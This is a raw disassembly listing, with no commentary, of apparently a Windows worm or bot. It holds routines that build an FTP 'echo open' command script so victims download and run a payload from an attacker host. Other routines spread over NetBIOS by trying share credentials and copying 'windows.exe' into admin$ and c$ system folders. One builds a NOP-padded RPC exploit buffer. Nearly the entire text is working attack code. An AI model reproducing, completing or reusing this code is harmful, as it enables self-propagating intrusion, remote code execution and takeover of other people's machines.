arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h
arg_10		= dword	ptr  18h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		mov	eax, offset sub_42A082
		call	__EH_prolog
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_4], 0
		push	offset byte_42B633 ; Src
		push	[ebp+arg_8]	; int
		lea	eax, [ebp+var_28]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_40F47A
		mov	eax, [ebp+arg_20]
		mov	ecx, [ebp+var_14]
		lea	esi, [ecx+eax+36h]
		push	esi		; Size
		mov	byte ptr [ebp+var_4], 1
		call	_malloc
		mov	edi, eax
		add	esp, 14h
		test	edi, edi
		jnz	short loc_40F63F
		xor	bl, bl
		jmp	short loc_40F686
; ---------------------------------------------------------------------------


loc_40F63F:				; CODE XREF: sub_40F5F6+43j
		cmp	[ebp+var_10], 10h
		mov	ecx, [ebp+var_24]
		jnb	short loc_40F64B
		lea	ecx, [ebp+var_24]


loc_40F64B:				; CODE XREF: sub_40F5F6+50j
		cmp	[ebp+arg_24], 10h
		mov	eax, [ebp+arg_10]
		jnb	short loc_40F657
		lea	eax, [ebp+arg_10]


loc_40F657:				; CODE XREF: sub_40F5F6+5Cj
		push	ecx
		push	eax
		push	offset aGetHttp1_0Host ; "GET /	HTTP/1.0\r\nHost: %s\r\nAuthorization"...
		push	esi		; Count
		push	edi		; Dest
		call	__snprintf
		add	esp, 14h
		push	0
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	dword_4441A0	; send
		cmp	eax, esi
		jz	short loc_40F67D
		xor	bl, bl
		jmp	short loc_40F67F
; ---------------------------------------------------------------------------


loc_40F67D:				; CODE XREF: sub_40F5F6+81j
		mov	bl, 1


loc_40F67F:				; CODE XREF: sub_40F5F6+85j
		push	edi		; Memory
		call	_free
		pop	ecx


loc_40F686:				; CODE XREF: sub_40F5F6+47j
		push	0		; Size
		push	1		; char
		lea	ecx, [ebp+var_28]
		call	?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@IAEX_NI@Z ;	std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool,uint)
		push	0		; Size
		push	1		; char
		lea	ecx, [ebp+arg_C]
		call	?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@IAEX_NI@Z ;	std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Tidy(bool,uint)
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	al, bl
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn
sub_40F5F6	endp

; [00000022 BYTES: COLLAPSED FUNCTION std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(char const *). PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		push	ebx
		push	esi
		push	edi
		xor	eax, eax
		mov	byte ptr [ebp-420h], 0
		mov	ecx, 0FFh
		lea	edi, [ebp-41Fh]
		rep stosd
		stosw
		push	8Fh
		stosb
		lea	eax, [ebp-420h]
		push	offset dword_43FA18
		push	eax
		call	_memcpy
		add	esp, 0Ch
		mov	eax, offset aWindows_exe ; "windows.exe"
		push	eax
		push	eax
		movzx	eax, word ptr dword_4D1FE4
		push	eax
		push	dword ptr [ebp+8]
		call	sub_4023C9
		pop	ecx
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d > o&echo user 1 "...
		lea	eax, [ebp-391h]
		push	400h
		push	eax
		call	__snprintf
		add	eax, 90h
		push	eax
		lea	eax, [ebp-420h]
		push	eax
		push	164h
		lea	eax, [ebp-8]
		push	offset aSvwfbA	; "SVWfì€"
		push	eax
		call	sub_40E971
		xor	esi, esi
		add	esp, 30h
		cmp	[ebp-4], esi
		jnz	short loc_40F76F
		xor	eax, eax
		jmp	loc_40F875
; ---------------------------------------------------------------------------


loc_40F76F:				; CODE XREF: .text:0040F766j
		mov	[ebp-0Ch], esi


loc_40F772:				; CODE XREF: .text:0040F850j
		test	esi, esi
		jnz	loc_40F856
		push	6
		push	1
		push	2
		call	ds:dword_42B20C	; socket
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	loc_40F83E
		push	dword ptr [ebp+0A8h]
		xor	eax, eax
		lea	edi, [ebp-1Ah]
		stosd
		stosd
		stosd
		stosw
		mov	word ptr [ebp-1Ch], 2
		call	dword_444260	; htons
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_44417C	; inet_addr
		mov	[ebp-18h], eax
		push	10h
		lea	eax, [ebp-1Ch]
		push	eax
		push	ebx
		call	dword_4440AC	; connect
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40F833
		cmp	dword ptr [ebp+0A8h], 50h
		jnz	short loc_40F7FB
		sub	esp, 1Ch
		lea	eax, [ebp+0Ch]
		mov	ecx, esp
		mov	[ebp-20h], esp
		push	eax
		call	??0?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@PBD@Z ; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::basic_string<char,std::char_traits<char>,std::allocator<char>>(char const *)
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40F5F6
		add	esp, 28h
		jmp	short loc_40F830
; ---------------------------------------------------------------------------


loc_40F7FB:				; CODE XREF: .text:0040F7D7j
		cmp	dword ptr [ebp+0A8h], 8Bh
		jnz	short loc_40F815
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40EE6B
		jmp	short loc_40F82D
; ---------------------------------------------------------------------------


loc_40F815:				; CODE XREF: .text:0040F805j
		cmp	dword ptr [ebp+0A8h], 1BDh
		jnz	short loc_40F833
		push	dword ptr [ebp-4]
		push	dword ptr [ebp-8]
		push	ebx
		call	sub_40ED91


loc_40F82D:				; CODE XREF: .text:0040F813j
		add	esp, 0Ch


loc_40F830:				; CODE XREF: .text:0040F7F9j
		movzx	esi, al


loc_40F833:				; CODE XREF: .text:0040F7CEj
					; .text:0040F81Fj
		push	ebx
		call	dword_444218	; closesocket
		test	esi, esi
		jnz	short loc_40F849


loc_40F83E:				; CODE XREF: .text:0040F78Bj
		push	3E8h
		call	ds:dword_42B014	; Sleep


loc_40F849:				; CODE XREF: .text:0040F83Cj
		inc	dword ptr [ebp-0Ch]
		cmp	dword ptr [ebp-0Ch], 2
		jl	loc_40F772


loc_40F856:				; CODE XREF: .text:0040F774j
		lea	ecx, [ebp-8]
		call	sub_40E7A0
		test	esi, esi
		jz	short loc_40F873
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		lea	eax, dword_43D880[eax]
		inc	dword ptr [eax]


loc_40F873:				; CODE XREF: .text:0040F860j
		mov	eax, esi


loc_40F875:				; CODE XREF: .text:0040F76Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40F87A(char *Source)

sub_40F87A	proc near		; CODE XREF: .text:0040FC33p

Dst		= byte ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Source		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	esi
		push	edi
		xor	edi, edi
		push	20h		; Size
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		mov	[ebp+var_4], edi
		call	_memset
		push	offset asc_4332C0 ; "\\\\"
		mov	esi, offset byte_4D50D8
		push	esi		; Dest
		call	_strcpy
		push	[ebp+Source]	; Source
		push	esi		; Dest
		call	_strcat
		push	offset asc_4332BC ; "\\"
		push	esi		; Dest
		call	_strcat
		push	offset aAdmin	; "admin$"
		push	esi		; Dest
		call	_strcat
		add	esp, 2Ch
		push	edi
		push	edi
		push	edi
		lea	eax, [ebp+Dst]
		push	eax
		mov	[ebp+var_10], esi
		mov	[ebp+var_20], 1
		mov	[ebp+var_14], edi
		mov	[ebp+var_8], edi
		call	dword_4441AC
		push	MaxCount	; MaxCount
		push	[ebp+Source]	; Source
		push	dword_4D51D8	; Dest
		call	_mbstowcs
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		push	66h
		push	dword_4D51D8
		call	dword_4440DC
		test	eax, eax
		mov	esi, offset dword_4D51E0
		jnz	short loc_40F929
		mov	eax, [ebp+var_4]
		push	edi
		push	edi
		push	64h
		push	esi
		push	0FFFFFFFFh
		push	dword ptr [eax+4]
		push	edi
		push	edi
		call	ds:dword_42B090	; WideCharToMultiByte


loc_40F929:				; CODE XREF: sub_40F87A+98j
		cmp	[ebp+var_4], edi
		jz	short loc_40F937
		push	[ebp+var_4]
		call	dword_444140


loc_40F937:				; CODE XREF: sub_40F87A+B2j
		pop	edi
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40F87A	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40F93D(char *Str,int)

sub_40F93D	proc near		; CODE XREF: sub_40F9CE+39p
					; sub_40F9CE+79p

Str		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+Str]
		push	edi
		push	esi		; Str
		xor	edi, edi
		call	_strlen
		test	eax, eax
		pop	ecx
		jbe	short loc_40F99E
		lea	edx, [esi+1]
		lea	esi, [eax-1]
		shr	esi, 1
		inc	esi


loc_40F959:				; CODE XREF: sub_40F93D+5Fj
		mov	al, [edx-1]
		cmp	al, 30h
		jl	short loc_40F96C
		cmp	al, 39h
		jg	short loc_40F96C
		movsx	eax, al
		sub	eax, 30h
		jmp	short loc_40F972
; ---------------------------------------------------------------------------


loc_40F96C:				; CODE XREF: sub_40F93D+21j
					; sub_40F93D+25j
		movsx	eax, al
		sub	eax, 57h


loc_40F972:				; CODE XREF: sub_40F93D+2Dj
		mov	cl, [edx]
		shl	eax, 4
		cmp	cl, 30h
		jl	short loc_40F98A
		cmp	cl, 39h
		jg	short loc_40F98A
		movsx	ecx, cl
		lea	eax, [eax+ecx-30h]
		jmp	short loc_40F991
; ---------------------------------------------------------------------------


loc_40F98A:				; CODE XREF: sub_40F93D+3Dj
					; sub_40F93D+42j
		movsx	ecx, cl
		lea	eax, [eax+ecx-57h]


loc_40F991:				; CODE XREF: sub_40F93D+4Bj
		mov	ecx, [esp+8+arg_4]
		mov	[edi+ecx], al
		inc	edi
		inc	edx
		inc	edx
		dec	esi
		jnz	short loc_40F959


loc_40F99E:				; CODE XREF: sub_40F93D+11j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40F93D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40F9A3	proc near		; CODE XREF: sub_40F9CE+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	edx, eax
		xor	esi, esi
		shr	edx, 1
		jz	short loc_40F9CC
		push	ebx
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		lea	eax, [edi+eax-1]


loc_40F9BA:				; CODE XREF: sub_40F9A3+25j
		mov	bl, [esi+edi]
		mov	cl, [eax]
		mov	[eax], bl
		mov	[esi+edi], cl
		inc	esi
		dec	eax
		cmp	esi, edx
		jb	short loc_40F9BA
		pop	edi
		pop	ebx


loc_40F9CC:				; CODE XREF: sub_40F9A3+Bj
		pop	esi
		retn
sub_40F9A3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40F9CE(char *Str,int)

sub_40F9CE	proc near		; CODE XREF: sub_40FA56+69p
					; sub_40FA56+89p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
Str		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, [ebp+Str]
		push	esi
		push	edi
		xor	esi, esi
		push	ebx		; Str
		mov	[ebp+var_4], esi
		mov	[ebp+var_8], esi
		mov	edi, ebx
		call	_strlen
		mov	[ebp+Str], esi
		cmp	eax, esi
		mov	esi, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_C], eax
		jbe	short loc_40FA41


loc_40F9F8:				; CODE XREF: sub_40F9CE+71j
		mov	eax, [ebp+Str]
		add	eax, ebx
		cmp	byte ptr [eax],	2Dh
		jnz	short loc_40FA36
		push	esi		; int
		push	edi		; Str
		mov	byte ptr [eax],	0
		call	sub_40F93D
		cmp	[ebp+var_8], 3
		jnb	short loc_40FA25
		mov	edi, eax
		push	edi
		push	esi
		call	sub_40F9A3
		add	esp, 10h
		add	esi, edi
		add	[ebp+var_4], edi
		jmp	short loc_40FA2C
; ---------------------------------------------------------------------------


loc_40FA25:				; CODE XREF: sub_40F9CE+42j
		pop	ecx
		add	esi, eax
		add	[ebp+var_4], eax
		pop	ecx


loc_40FA2C:				; CODE XREF: sub_40F9CE+55j
		mov	eax, [ebp+Str]
		inc	[ebp+var_8]
		lea	edi, [eax+ebx+1]


loc_40FA36:				; CODE XREF: sub_40F9CE+32j
		inc	[ebp+Str]
		mov	eax, [ebp+var_C]
		cmp	[ebp+Str], eax
		jb	short loc_40F9F8


loc_40FA41:				; CODE XREF: sub_40F9CE+28j
		push	esi		; int
		push	edi		; Str
		mov	byte ptr [eax+esi], 0
		call	sub_40F93D
		add	eax, [ebp+var_4]
		pop	ecx
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40F9CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40FA56(int,char *Str,char Src,int)

sub_40FA56	proc near		; CODE XREF: .text:0040FBEEp

var_2C		= byte ptr -2Ch
Memory		= dword	ptr -4
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
Src		= byte ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		push	9
		pop	ecx
		mov	esi, offset a8a885d041ceb11 ; "8a885d04-1ceb-11c9-9fe8-08002b104860"
		lea	edi, [ebp+var_2C]
		rep movsd
		push	1		; SizeOfElements
		push	800h		; NumOfElements
		movsb
		call	_calloc
		pop	ecx
		pop	ecx
		push	1		; SizeOfElements
		push	[ebp+Str]	; Str
		mov	esi, eax
		call	_strlen
		shr	eax, 1
		inc	eax
		pop	ecx
		inc	eax
		push	eax		; NumOfElements
		call	_calloc
		mov	[ebp+Memory], eax
		xor	eax, eax
		mov	edi, esi
		add	esi, 10h
		inc	eax
		xor	ebx, ebx
		mov	word ptr [esi],	16D0h
		mov	word ptr [esi+2], 16D0h
		mov	[esi+4], ebx
		mov	[esi+8], eax
		mov	[esi+0Ch], bx
		mov	[esi+0Eh], ax
		add	esi, 10h
		push	esi		; int
		push	[ebp+Str]	; Str
		call	sub_40F9CE
		add	esi, eax
		push	2		; Size
		lea	eax, [ebp+Src]
		push	eax		; Src
		push	esi		; Dst
		call	_memcpy
		inc	esi
		inc	esi
		mov	[esi], bl
		inc	esi
		mov	[esi], bl
		inc	esi
		lea	eax, [ebp+var_2C]
		push	esi		; int
		push	eax		; Str
		call	sub_40F9CE
		mov	ecx, [ebp+arg_C]
		push	[ebp+Memory]	; Memory
		add	esi, eax
		mov	byte ptr [esi],	2
		inc	esi
		mov	[esi], bl
		sub	esi, edi
		inc	esi
		lea	eax, [esi+2]
		mov	[edi+8], ax
		mov	eax, [ebp+arg_0]
		mov	[edi+0Ch], eax
		movzx	eax, si
		inc	eax
		inc	eax
		mov	byte ptr [edi],	5
		mov	[edi+1], bl
		mov	byte ptr [edi+2], 0Bh
		mov	byte ptr [edi+3], 3
		mov	dword ptr [edi+4], 10h
		mov	[edi+0Ah], bx
		mov	[ecx], eax
		call	_free
		add	esp, 28h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40FA56	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40FB31(int,char *Str)

sub_40FB31	proc near		; CODE XREF: .text:0040FC74p
					; .text:00410831p

arg_0		= dword	ptr  4
Str		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+Str]
		push	esi		; Str
		call	_strlen
		pop	ecx
		mov	ecx, [esp+4+arg_0]
		lea	ecx, [ecx+eax*2-1]
		jmp	short loc_40FB52
; ---------------------------------------------------------------------------


loc_40FB47:				; CODE XREF: sub_40FB31+23j
		dec	eax
		mov	byte ptr [ecx],	0
		mov	dl, [eax+esi]
		dec	ecx
		mov	[ecx], dl
		dec	ecx


loc_40FB52:				; CODE XREF: sub_40FB31+14j
		test	eax, eax
		jnz	short loc_40FB47
		pop	esi
		retn
sub_40FB31	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		mov	eax, 1044h
		call	__alloca_probe
		push	ebx
		xor	ebx, ebx
		cmp	dword_4440DC, ebx
		push	esi
		push	edi
		jz	loc_40FC28
		push	9
		pop	ecx
		mov	esi, offset aFdb3a030065f11 ; "fdb3a030-065f-11d1-bb9b-00a024ea5525"
		lea	edi, [ebp-44h]
		rep movsd
		movsb
		xor	edi, edi
		push	ebx
		inc	edi
		push	edi
		push	2
		mov	[ebp-4], edi
		call	dword_444100	; socket
		mov	esi, eax
		cmp	esi, ebx
		mov	[ebp-0Ch], esi
		jl	loc_40FC28
		push	dword ptr [ebp+0A8h]
		mov	word ptr [ebp-1Ch], 2
		call	dword_444260	; htons
		mov	[ebp-1Ah], ax
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_44417C	; inet_addr
		push	8
		mov	[ebp-18h], eax
		lea	eax, [ebp-14h]
		push	ebx
		push	eax
		call	_memset
		add	esp, 0Ch
		push	10h
		lea	eax, [ebp-1Ch]
		push	eax
		push	esi
		call	dword_4440AC	; connect
		test	eax, eax
		jl	short loc_40FC28
		lea	eax, [ebp-8]
		push	eax
		push	edi
		lea	eax, [ebp-44h]
		push	eax
		push	ebx
		call	sub_40FA56
		add	esp, 10h
		push	ebx
		push	dword ptr [ebp-8]
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4441A0	; send
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40FC21
		push	ebx
		push	1000h
		lea	eax, [ebp-1044h]
		push	eax
		push	esi
		call	ds:dword_42B208	; recv
		test	eax, eax
		jg	short loc_40FC2F


loc_40FC21:				; CODE XREF: .text:0040FC07j
		push	edi
		call	_free
		pop	ecx


loc_40FC28:				; CODE XREF: .text:0040FB70j
					; .text:0040FB9Bj ...
		xor	eax, eax


loc_40FC2A:				; CODE XREF: .text:0040FDBEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40FC2F:				; CODE XREF: .text:0040FC1Fj
		lea	eax, [ebp+0Ch]
		push	eax
		call	sub_40F87A
		push	eax
		mov	[ebp-8], eax
		call	_strlen
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_40FC28
		mov	edi, 104Ch
		push	edi
		call	_malloc
		push	edi
		mov	esi, eax
		push	90h
		push	esi
		call	_memset
		push	42h
		push	offset dword_43FAA8
		push	esi
		call	_memcpy
		push	dword ptr [ebp-8]
		lea	ebx, [esi+42h]
		push	ebx
		call	sub_40FB31
		push	dword ptr [ebp-8]
		call	_strlen
		push	14h
		lea	ebx, [ebx+eax*2]
		push	offset aPrivate	; "\\PRIVATE$\\"
		push	ebx
		call	_memcpy
		push	18h
		mov	ebx, offset dword_43FB04
		lea	eax, [esi+418h]
		push	ebx
		push	eax
		call	_memcpy
		add	esp, 40h
		push	18h
		lea	eax, [esi+830h]
		push	ebx
		push	eax
		call	_memcpy
		push	18h
		lea	eax, [esi+0C48h]
		push	offset dword_43FB20
		push	eax
		call	_memcpy
		push	3Ah
		lea	ebx, [esi+1B6h]
		push	offset dword_43FB3C
		push	ebx
		call	_memcpy
		push	0FFFFh
		push	539h
		call	sub_41B325
		mov	[ebp-8], eax
		add	esp, 2Ch
		xor	eax, 437h
		push	eax
		call	dword_444260	; htons
		push	158h
		push	offset dword_43FB78
		add	ebx, 3Ah
		push	ebx
		mov	word_43FC32, ax
		call	_memcpy
		xor	ebx, ebx
		inc	ebx
		lea	eax, [ebp+0Ch]
		push	ebx
		push	eax
		mov	byte ptr [esi+104Ah], 0
		mov	byte ptr [esi+104Bh], 0
		call	sub_41AA0A
		add	esp, 14h
		cmp	eax, 2
		jnz	short loc_40FD41
		mov	dword ptr [ebp-4], 8


loc_40FD41:				; CODE XREF: .text:0040FD38j
		cmp	eax, 3
		jnz	short loc_40FD64
		mov	[ebp-4], ebx
		jmp	short loc_40FD64
; ---------------------------------------------------------------------------


loc_40FD4B:				; CODE XREF: .text:0040FD68j
		dec	dword ptr [ebp-4]
		push	0
		push	edi
		push	esi
		push	dword ptr [ebp-0Ch]
		call	dword_4441A0	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_40FC28


loc_40FD64:				; CODE XREF: .text:0040FD44j
					; .text:0040FD49j
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_40FD4B
		push	dword ptr [ebp-0Ch]
		call	dword_444218	; closesocket
		push	1F4h
		call	ds:dword_42B014	; Sleep
		push	esi
		call	_free
		pop	ecx
		push	dword ptr [ebp-8]
		lea	esi, [ebp+8]
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_41B128
		add	esp, 0C0h
		cmp	al, 1
		jnz	loc_40FC28
		mov	eax, [ebp+0B0h]
		shl	eax, 6
		lea	eax, dword_43D880[eax]
		inc	dword ptr [eax]
		mov	eax, ebx
		jmp	loc_40FC2A

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40FDC3(int,char *Str1,int,int,int,int,int,int,char Str,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)

sub_40FDC3	proc near		; CODE XREF: sub_410047+37p

var_6EC		= byte ptr -6ECh
var_4E4		= dword	ptr -4E4h
var_2E4		= byte ptr -2E4h
Dest		= byte ptr -154h
Dst		= byte ptr -50h
var_4C		= dword	ptr -4Ch
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
var_20		= byte ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
Str1		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
Str		= byte ptr  28h
arg_B4		= dword	ptr  0BCh
arg_BC		= dword	ptr  0C4h
arg_C0		= dword	ptr  0C8h

		push	ebp
		mov	ebp, esp
		sub	esp, 6ECh
		push	esi
		push	edi
		push	20h		; Size
		xor	edi, edi
		lea	eax, [ebp+Dst]
		push	edi		; Val
		push	eax		; Dst
		call	_memset
		mov	esi, [ebp+arg_8]
		add	esp, 0Ch
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+Dst]
		push	[ebp+Str1]
		mov	[ebp+var_3C], esi
		push	eax
		mov	[ebp+var_4C], 1
		mov	[ebp+var_40], edi
		mov	[ebp+var_34], edi
		call	dword_4441AC
		test	eax, eax
		jz	short loc_40FE14
		push	0Ah
		call	ds:dword_42B014	; Sleep
		jmp	loc_410034
; ---------------------------------------------------------------------------


loc_40FE14:				; CODE XREF: sub_40FDC3+42j
		push	ebx
		push	190h
		lea	eax, [ebp+var_2E4]
		push	eax
		push	0FFFFFFFFh
		push	esi
		push	edi
		push	edi
		mov	[ebp+var_1C], offset aAdminSystem32 ; "Admin$\\system32"
		mov	[ebp+var_18], offset aCWinntSystem32 ; "c$\\winnt\\system32"
		mov	[ebp+var_14], offset aCWindowsSystem ; "c$\\windows\\system32"
		mov	[ebp+var_10], offset aC	; "c"
		mov	[ebp+var_C], offset aD_0 ; "d"
		mov	[ebp+var_8], edi
		call	ds:dword_42B07C	; MultiByteToWideChar
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_2E4]
		push	eax
		call	dword_44406C
		test	eax, eax
		jnz	loc_410030
		cmp	[ebp+var_8], edi
		jz	loc_410030
		mov	[ebp+var_4], edi
		mov	esi, offset aWindows_exe ; "windows.exe"


loc_40FE7C:				; CODE XREF: sub_40FDC3+150j
		mov	eax, [ebp+var_4]
		push	esi
		push	[ebp+eax*4+var_1C]
		lea	eax, [ebp+Dest]
		push	[ebp+arg_8]
		push	offset aSSS_2	; "%s\\%s\\%s"
		push	eax		; Dest
		call	_sprintf
		add	esp, 14h
		push	edi
		lea	eax, [ebp+Dest]
		push	eax
		push	esi
		call	ds:dword_42B048	; CopyFileA
		mov	ebx, eax
		cmp	ebx, edi
		jnz	short loc_40FF2B
		call	ds:dword_42B01C	; RtlGetLastWin32Error
		cmp	eax, 5
		jnz	short loc_40FF0C
		lea	eax, [ebp+Dest]
		push	edi
		push	eax
		call	sub_42065F
		test	eax, eax
		pop	ecx
		pop	ecx
		jnz	short loc_40FF0C
		call	_rand
		cdq
		push	0Ah
		pop	ecx
		idiv	ecx
		lea	eax, [ebp+Dest]
		push	eax		; Str
		mov	ebx, edx
		add	bl, 30h
		call	_strlen
		pop	ecx
		lea	ecx, [ebp+Dest]
		sub	ecx, 5
		mov	[eax+ecx], bl
		push	edi
		lea	eax, [ebp+Dest]
		push	eax
		push	esi
		call	ds:dword_42B048	; CopyFileA
		mov	ebx, eax
		cmp	ebx, edi
		jnz	short loc_40FF2B


loc_40FF0C:				; CODE XREF: sub_40FDC3+F6j
					; sub_40FDC3+109j
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 5
		jb	loc_40FE7C
		cmp	ebx, edi
		jnz	short loc_40FF2B
		push	[ebp+var_8]
		call	dword_444140
		jmp	loc_410033
; ---------------------------------------------------------------------------


loc_40FF2B:				; CODE XREF: sub_40FDC3+EBj
					; sub_40FDC3+147j ...
		mov	ecx, [ebp+var_8]
		mov	eax, [ecx]
		push	3Ch
		xor	edx, edx
		pop	ebx
		div	ebx
		xor	edx, edx
		push	10h		; Size
		push	edi		; Val
		sub	eax, [ecx+18h]
		mov	ecx, 5A0h
		inc	eax
		inc	eax
		div	ecx
		lea	eax, [ebp+var_30]
		push	eax		; Dst
		mov	ebx, edx
		call	_memset
		imul	ebx, 0EA60h
		add	esp, 0Ch
		push	208h
		lea	eax, [ebp+var_6EC]
		push	eax
		push	0FFFFFFFFh
		push	esi
		push	edi
		push	edi
		mov	[ebp+var_30], ebx
		call	ds:dword_42B07C	; MultiByteToWideChar
		lea	eax, [ebp+var_6EC]
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_2E4]
		push	eax
		call	dword_4440A8
		test	eax, eax
		jnz	loc_410030
		push	offset byte_42B633 ; Str2
		push	[ebp+Str1]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		mov	eax, offset aNoPassword	; "(no password)"
		jz	short loc_40FFB7
		mov	eax, [ebp+Str1]


loc_40FFB7:				; CODE XREF: sub_40FDC3+1EFj
		push	eax
		push	[ebp+arg_0]
		mov	eax, [ebp+var_4]
		push	[ebp+eax*4+var_1C]
		mov	eax, [ebp+arg_B4]
		push	[ebp+arg_8]
		shl	eax, 6
		add	eax, offset aNetbios ; "NetBios"
		push	eax
		push	offset asc_433314 ; "-"
		lea	eax, [ebp+var_4E4]
		push	200h		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 20h
		cmp	[ebp+arg_C0], edi
		jnz	short loc_410012
		push	edi		; int
		push	[ebp+arg_BC]	; int
		lea	eax, [ebp+var_4E4]
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+arg_C]	; int
		call	sub_40123B
		add	esp, 14h


loc_410012:				; CODE XREF: sub_40FDC3+230j
		lea	eax, [ebp+var_4E4]
		push	eax
		call	sub_417D70
		mov	eax, [ebp+arg_B4]
		shl	eax, 6
		lea	eax, dword_43D880[eax]
		inc	dword ptr [eax]
		pop	ecx


loc_410030:				; CODE XREF: sub_40FDC3+A2j
					; sub_40FDC3+ABj ...
		xor	edi, edi
		inc	edi


loc_410033:				; CODE XREF: sub_40FDC3+163j
		pop	ebx


loc_410034:				; CODE XREF: sub_40FDC3+4Cj
		push	1
		push	1
		push	[ebp+arg_8]
		call	dword_4440D8


loc_410041:				; DATA XREF: .text:00410419o
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_40FDC3	endp


; =============== S U B	R O U T	I N E =======================================



sub_410047	proc near		; CODE XREF: sub_4100AE+131p
					; sub_4100AE+1A8p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		cmp	off_43C268, 0
		push	ebx
		push	esi
		push	edi
		jz	short loc_4100A3
		mov	eax, offset off_43C268
		mov	ebx, eax


loc_41005A:				; CODE XREF: sub_410047+5Aj
		sub	esp, 0BCh
		push	2Fh
		pop	ecx
		mov	edi, esp
		push	[esp+0C8h+arg_4] ; int
		lea	esi, [esp+0CCh+arg_8]
		push	dword ptr [eax]	; Str1
		rep movsd
		push	[esp+0D0h+arg_0] ; int
		call	sub_40FDC3
		add	esp, 0C8h
		cmp	eax, 1
		jz	short loc_4100A9
		push	0C8h
		call	ds:dword_42B014	; Sleep
		add	ebx, 4
		cmp	dword ptr [ebx], 0
